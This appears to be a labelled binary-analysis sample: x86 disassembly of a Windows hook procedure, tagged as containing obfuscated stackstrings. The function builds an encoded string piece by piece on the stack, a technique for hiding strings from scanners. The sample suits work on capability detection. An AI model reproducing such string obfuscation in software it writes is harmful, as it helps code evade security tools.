Function at 0x1005cb7a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xd88
mov eax, 0x1008bc79
call fcn.1005e0e9
mov edi, dword [ebp + 0x10]
lea eax, [ebp - 0xc7c]
push 0xc2a
xor ebx, ebx
push ebx
push eax
call fcn.100609a0
add esp, 0xc
mov dword [ebp - 0xc80], ebx
call fcn.100528cc
push eax
lea ecx, [ebp - 0xc80]
call fcn.1004f73f
mov dword [ebp - 4], ebx
mov byte [ebp - 4], 1
test edi, edi
je 0x1005cfd6
cmp dword [edi + 8], 0x4a
jne 0x1005cfd6
mov esi, dword [edi]
test esi, esi
je 0x1005cfd6
mov eax, dword [esi]
cmp eax, 0x4cc7c
jne 0x1005cfc8
mov esi, dword [esi + 8]
lea edi, [ebp - 0xc7c]
mov ecx, 0x30a
mov dword [ebp - 0xd80], 0x6d4d7a4c
rep movsd dword es:[edi], dword [esi]
push 0x64
pop eax
mov byte [ebp - 0xd32], al
mov byte [ebp - 0xce4], al
mov byte [ebp - 0xc88], al
lea eax, [ebp - 0xb53]
push eax
lea eax, [ebp - 0xc7c]
movsw word es:[edi], word [esi]
mov dword [ebp - 0xd7c], 0x2b553346
mov dword [ebp - 0xd78], 0x77386d47
mov dword [ebp - 0xd74], 0x34593245
mov dword [ebp - 0xd70], 0x3541444a
mov dword [ebp - 0xd6c], 0x61387a4e
mov dword [ebp - 0xd68], 0x79397746
mov dword [ebp - 0xd64], 0x39316943
mov dword [ebp - 0xd60], 0x664d4363
mov dword [ebp - 0xd5c], 0x6d636949
mov dword [ebp - 0xd58], 0x7a497942
mov dword [ebp - 0xd54], 0x76514765
mov dword [ebp - 0xd50], 0x6c777842
mov dword [ebp - 0xd4c], 0x2f6b6847
mov dword [ebp - 0xd48], 0x3538694b
mov dword [ebp - 0xd44], 0x7a514345
mov dword [ebp - 0xd40], 0x4f735841
mov dword [ebp - 0xd3c], 0x4c635366
mov dword [ebp - 0xd38], 0x4559334e
mov word [ebp - 0xd34], 0x5349
mov dword [ebp - 0xd31], 0x6f674c6b
mov dword [ebp - 0xd2d], 0x6c786666
mov dword [ebp - 0xd29], 0x4e424830
mov dword [ebp - 0xd25], 0x73694a37
mov dword [ebp - 0xd21], 0x70434870
mov dword [ebp - 0xd1d], 0x6c694a76
mov dword [ebp - 0xd19], 0x78774969
mov dword [ebp - 0xd15], 0x59675939
mov dword [ebp - 0xd11], 0x4e674959
mov dword [ebp - 0xd0d], 0x30444167
mov dword [ebp - 0xd09], 0x4941652f
mov dword [ebp - 0xd05], 0x45414c53
mov dword [ebp - 0xd01], 0x776e446f
mov dword [ebp - 0xcfd], 0x6853484e
mov dword [ebp - 0xcf9], 0x4151452b
mov dword [ebp - 0xcf5], 0x45484439
mov dword [ebp - 0xcf1], 0x6c444f37
mov dword [ebp - 0xced], 0x63414136
mov dword [ebp - 0xce9], 0x46784c47
mov byte [ebp - 0xce5], 0x67
mov dword [ebp - 0xce3], 0x50715668
mov dword [ebp - 0xcdf], 0x41376c42
mov dword [ebp - 0xcdb], 0x49394d7a
mov dword [ebp - 0xcd7], 0x436f736a
mov dword [ebp - 0xcd3], 0x4241497a
mov dword [ebp - 0xccf], 0x50754d44
mov dword [ebp - 0xccb], 0x6657456e
mov dword [ebp - 0xcc7], 0x45383048
mov dword [ebp - 0xcc3], 0x4b555152
mov dword [ebp - 0xcbf], 0x4e695a6a
mov dword [ebp - 0xcbb], 0x41686854
mov dword [ebp - 0xcb7], 0x5a544d57
mov dword [ebp - 0xcb3], 0x444d4552
mov dword [ebp - 0xcaf], 0x43756341
mov dword [ebp - 0xcab], 0x63393177
mov dword [ebp - 0xca7], 0x41354d48
mov dword [ebp - 0xca3], 0x494b6753
mov dword [ebp - 0xc9f], 0x47413442
mov dword [ebp - 0xc9b], 0x4a634567
mov dword [ebp - 0xc97], 0x66444168
mov dword [ebp - 0xc93], 0x43676369
mov dword [ebp - 0xc8f], 0x476d5243
mov word [ebp - 0xc8b], 0x556d
mov byte [ebp - 0xc89], 0x6e
mov dword [ebp - 0xc87], 0x41417748
mov word [ebp - 0xc83], 0x4341
mov byte [ebp - 0xc81], 0x77
push eax
lea eax, [ebp - 0xc57]
push eax
push ebx
sub esp, 0xc
lea eax, [ebp - 0xc80]
mov ecx, esp
push dword [ebp - 0xd84]
mov dword [ecx], ebx
push eax
lea eax, [ebp - 0xd80]
mov dword [ecx + 4], ebx
push eax
mov dword [ecx + 8], ebx
call fcn.1004ef92
lea eax, [ebp - 0xd94]
push eax
call fcn.10051f16
add esp, 0x10
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.1005b7b7
push eax
lea eax, [ebp - 0xc80]
push eax
call fcn.100523bb
add esp, 0x14
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xd94]
call fcn.1005b5ff
push 0x3c
lea eax, [ebp - 0x50]
push ebx
push eax
call fcn.100609a0
pop ecx
pop ecx
lea eax, [ebp - 0xc7c]
mov ecx, esp
push eax
call fcn.1004f8b8
lea ecx, [ebp - 0x50]
call fcn.1004f98e
lea eax, [ebp - 0xb53]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x20]
call fcn.1005084e
lea eax, [ebp - 0x17b]
push eax
lea ecx, [ebp - 0x1c]
call fcn.1005084e
lea eax, [ebp - 0x77]
push eax
lea ecx, [ebp - 0x18]
call fcn.1005084e
mov esi, dword [ebp - 0xc80]
lea eax, [ebp - 0x50]
push eax
push ecx
mov ecx, esp
mov dword [ebp - 0xd84], esp
push esi
call fcn.1004f8b8
push ecx
lea eax, [ebp - 0x94b]
mov byte [ebp - 4], 4
mov ecx, esp
push eax
call fcn.1004f82a
mov byte [ebp - 4], 3
call fcn.10057597
add esp, 0xc
call fcn.100686e9
push 0x64
pop ecx
cdq
idiv ecx
cmp edx, ecx
jg 0x1005cfbb
lea eax, [ebp - 0x50]
push eax
call fcn.100562e4
pop ecx
lea ecx, [ebp - 0x50]
call fcn.100504d7
lea ecx, [esi - 0x10]
jmp 0x1005cfed
cmp eax, 0x4d835
jne 0x1005cfd6
push ebx
call fcn.1005a0ce
pop ecx
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [sym.imp.USER32.dll_CallNextHookEx]
mov ecx, dword [ebp - 0xc80]
lea ecx, [ecx - 0x10]
call fcn.10055fc0
call fcn.1005e036
ret 0xc